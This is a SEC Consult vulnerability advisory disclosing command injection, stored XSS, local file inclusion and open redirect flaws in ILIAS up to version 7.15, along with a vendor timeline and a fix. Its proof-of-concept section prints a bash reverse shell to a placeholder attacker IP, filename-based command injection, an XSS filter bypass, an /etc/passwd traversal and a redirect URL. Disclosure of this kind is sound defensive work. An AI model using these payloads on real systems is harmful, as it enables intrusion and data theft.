SEC Consult Vulnerability Lab Security Advisory < 20221206-0 >

           title: Multiple critical vulnerabilities  
         product: ILIAS eLearning platform  

vulnerable version: <= 7.15
fixed version: 7.16
CVE number: CVE-2022-45915, CVE-2022-45916, CVE-2022-45917,
CVE-2022-45918
impact: critical
homepage: https://www.ilias.de
found: 2022-09-30
by: Anna Hartig (Office Bochum)
Constantin Schwarz (Office Bochum)
Niklas Schilling (Office Munich)
SEC Consult Vulnerability Lab

                  An integrated part of SEC Consult, an Atos company  
                  Europe | Asia | North America

                  https://www.sec-consult.com

=======================================================================

Vendor description:

“Around since 1998, ILIAS is a powerful learning management system that fulfills
all your requirements. Using its integrated tools, small and large businesses,
universities, schools and public authorities are able to create tailored,
individual learning scenarios.”

Source: https://www.ilias.de/en/

Business recommendation:

The vendor provides a patch which should be installed immediately.

SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.

Vulnerability overview/description:

1. Authenticated Direct OS Command Injection - CVE-2022-45915
   ILIAS utilizes several third-party programs to perform tasks like creating PDF
   files or scanning uploaded files for known viruses. These are called using the
   PHP exec() function. In several instances, the arguments passed to the exec()
   function contain user input that is not properly sanitized.
   By performing malicious configuration steps or uploading dangerous files, an
   attacker can execute arbitrary system commands with the rights of the web server
   user (www-data).
   The privilege required for the different instances of command injection range
   from low rights to admin rights.

2. Stored Cross-Site Scripting - CVE-2022-45916
   Multiple stored cross-site scripting vulnerabilities were identified in ILIAS
   course items. These were either achieved by bypassing existing XSS filters or
   simply by exploiting missing input validation altogether. This results in the
   execution of attacker-controlled JavaScript code by the user’s browser.
   The attacker requires the right to create course items, e.g., as a tutor of a
   course.

3. Local File Inclusion - CVE-2022-45918
   The included SCORM editor features a debugger that gives authors insights into
   the current SCORM player session, as well as previous sessions. When accessing
   the logs of previous sessions, the debugger fails to validate the requested
   file path, allowing for arbitrary filesystem access.

4. Open Redirect - CVE-2022-45917
   The function shib_logout.php redirects the user to a URL specified in the
   “return” parameter. Since this parameter is not validated, an attacker can use
   it to redirect a victim to an arbitrary website. This is a powerful tool in
   phishing campaigns, as it allows hiding the malicious webpage behind a link that
   looks like it would take you to the real ILIAS webpage.

Proof of concept:

1. Authenticated Direct OS Command Injection - CVE-2022-45915
   Multiple instances of command injection vulnerabilities were identified:

a) ZIP archive upload
Normal users with open assessments can submit their solution by uploading a ZIP
archive. These archives are extracted on the server and scanned for viruses
recursively. The directory and file names can be used by an attacker to inject
system commands, e.g., by including a directory with the name
$(touch /tmp/pwned) to the ZIP archive. Exploiting this vulnerability, an attacker
is able to get a reverse shell on the ILIAS webserver with the rights of the
web server user (www-data).

b) Media object creation
ILIAS can be configured so that users can create media objects based on files
inside an "Upload Directory". Before these objects are created, the files are
scanned for viruses. The file names can be used by an attacker to inject system
commands. By placing a file with a name like $(touch /tmp/pwned) inside the
upload directory and then creating a media object based on it, an attacker is
able to execute arbitrary system commands with the rights of www-data on the
server.

c) PDF document creation
ILIAS provides users the functionality to export content as PDF files. A user
with admin rights can configure the path to the preferred PDF renderer. An
attacker can use this parameter to inject system commands. Due to missing
input validation it is possible to inject multiple commands. The path to
wkhtmltopdf has to be included in the payload, as ILIAS checks for it. By
changing the path to:

/usr/local/bin/wkhtmltopdf; bash -c "bash -i >& /dev/tcp/<IP_Address_Attacker>/13373 0>&1";

an attacker can open a reverse shell with the rights of www-data that connects
to the attacker’s machine on port 13373. The reverse shell is initiated when
the export function is triggered.
No PDF renderer has to be installed for this vulnerability to be exploitable.

2. Stored Cross-Site Scripting - CVE-2022-45916
   Multiple instances of stored cross-site scripting were identified:

a) Several Stored XSS Attacks in Tests
An attacker must be able to create new tests in which the JavaScript code will
be embedded. If a victim then later accesses one of those tests, the XSS payload will
be triggered. The “Question” input field of a test has a filter in place, which
correctly removes HTML tags such as <script> or
<img src="x" onerror="alert(document.cookie)">. By making use of half open HTML
tags, this filter can be successfully bypassed. E.g.

<img src="x" onerror="alert(document.cookie)"

This half open HTML tag can also be used in the “Introductory Message” of a test
to trigger an XSS. It’s important to end the JavaScript code with a quotation
mark or space, to properly separate it from successive HTML tags, after it’s
embedded into a test.

Finally, the “Question” input field of the question type “Long Menu” was
identified to use no filtering at all, resulting in the unrestricted use of
arbitrary HTML tags such as <script>.

b) Stored XSS in title of course items
An attacker with rights to create an arbitrary course item can conduct a stored
XSS attack by setting the title of the element to:

" onclick="alert(document.cookie)"

When a user clicks on the button to the right of the title, the XSS payload is
triggered.

c) Stored XSS in HTML sites
An attacker with rights to edit an HTML Learning Module can conduct a stored
XSS attack, as it is allowed to insert JavaScript Code to the HTML page. Even
if this behavior is intended, it is insecure and considered bad practice.

3. Local File Inclusion - CVE-2022-45918
   As a prerequisite, the SCORM debugger must be enabled for the whole ILIAS
   platform. An attacker with access to a SCORM player can open the SCORM
   debugger and request the logs of a previous session. By changing the value of
   the “logFile” query parameter of the request, they can read arbitrary
   files of the server’s filesystem. For example, to read the passwd file
   on Linux systems, an attacker can change the value of the parameter logfile
   to "…/…/…/…/…/…/…/…/…/etc/passwd".

4. Open Redirect - CVE-2022-45917
   The shib_logout function is vulnerable to an open redirect.
   A URL that successfully uses this vulnerability to redirect to
   “https://www.sec-consult.com” is:

http://ILIAS-URL/shib_logout.php?action=logout&return=https://www.sec-consult.com

Vulnerable / tested versions:

The vulnerabilities were identified in ILIAS version 7.14.
However, a brief analysis of the source code suggests, that several
vulnerabilities are present in versions dating back to at least 3.8.4.
Hence it is assumed that most current versions of the product are affected.

The vulnerabilities were partly fixed in version 7.15, a complete patch is
available with version 7.16.

Vendor contact timeline:

2022-10-07: Contacting vendor through [email protected]
2022-10-19: Sending initial email again, as the vendor did not yet respond
2022-10-25: Extending email recipients to [email protected], [email protected] and
identified personal email addresses from the vendor’s website.
2022-10-25: Sending the advisory to the provided contact
2022-10-31: Vendor requests more information
2022-10-31: Sending detailed PoC
2022-11-10: Asking for current status
2022-11-22: Vendor confirms that patches will be available by 2022-11-26
2022-11-22: Asking about the version numbers of mentioned patches and CVE IDs
2022-11-23: Vendor provides information about patched versions; CVE IDs will be
requested by SEC Consult
2022-11-24: Vendor releases patched version 7.16
2022-12-06: Public release of security advisory

Solution:

Update ILIAS to version 7.16 or newer from the vendor’s website:
https://docu.ilias.de/goto.php?target=st_229

Workaround:

None

Advisory URL:

https://sec-consult.com/vulnerability-lab/

SEC Consult Vulnerability Lab

SEC Consult, an Atos company  
Europe | Asia | North America

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EOF  A. Hartig, C. Schwarz, N. Schilling / @2022